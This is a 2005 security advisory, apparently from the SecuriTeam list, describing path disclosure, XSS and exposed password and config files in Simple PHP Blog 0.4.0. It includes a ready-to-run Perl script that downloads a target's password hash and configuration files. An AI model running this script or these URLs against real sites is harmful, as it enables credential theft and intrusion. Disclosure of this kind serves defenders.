[UNIX] SPHPBlog Multiple Vulnerabilities (Exploit)

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To: list@securiteam.com
Date: 19 Apr 2005 11:46:49 +0200

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  SPHPBlog Multiple Vulnerabilities (Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://sourceforge.net/projects/sphpblog/> Simple PHP Blog(SPHPBlog) is
a dead-simple blog. It do not require a database, used flat text files and
simple to install. The main advantage of using Simple PHP Blog is that it
only requires PHP 4 (or greater) and write permission on the server.
Unlike other blog software, there is almost no setup."

Information disclosure, cross site scripting and path disclosure
vulnerabilities were discovered in SPHPBlog.

DETAILS

Vulnerable Systems:
 * Simple PHP blog version 0.4.0

Path Disclosure:
The following URL will disclose the path under which the blog has been
installed:
http://host/sphpblog/scripts/sb_functions.php

Cross Site Scripting in search.php:
The following URL will cause the cross site scripting vulnerability to
trigger:
http://host/sphpblog/search.php?q=[XSS]

Information Disclosure:
The password and configuration files can be retrieved directly using the
following URLs (the password file are protected using PHP`s crypt()
function):
http://host/sphpblog/config/password.txt
http://host/sphpblog/config/config.txt

Exploit:
#!/usr/bin/perl -w

# Remote grabbing sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

print "\n* Remote grabbing sphpblog password & config file by y3dips
*\n";
require LWP::UserAgent;

if(@ARGV == 1)
        {

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

my @url = ("http://$target/config/password.txt", "
http://$target/config/config.txt");

foreach my $urlz (@url) {
            my $injek = $ua->get($urlz);
            print "\n-------------------------------\n";
            if ($injek->is_success)
                 { print $injek->content;}
            else
                 {die $injek->status_line;}
            print "\n-------------------------------\n";

}
}
else {
print "Use: perl $0 [www.target.com] \n";
}

# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32
anonymous /;
# @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@yahoogroups.com #e-c-h-o_@_DALnet /;

ADDITIONAL INFORMATION

The information has been provided by <mailto:y3dips@echo.or.id> echo
staff.
The original article can be found at:
<http://echo.or.id/adv/adv012-y3dips-2005.txt>
http://echo.or.id/adv/adv012-y3dips-2005.txt

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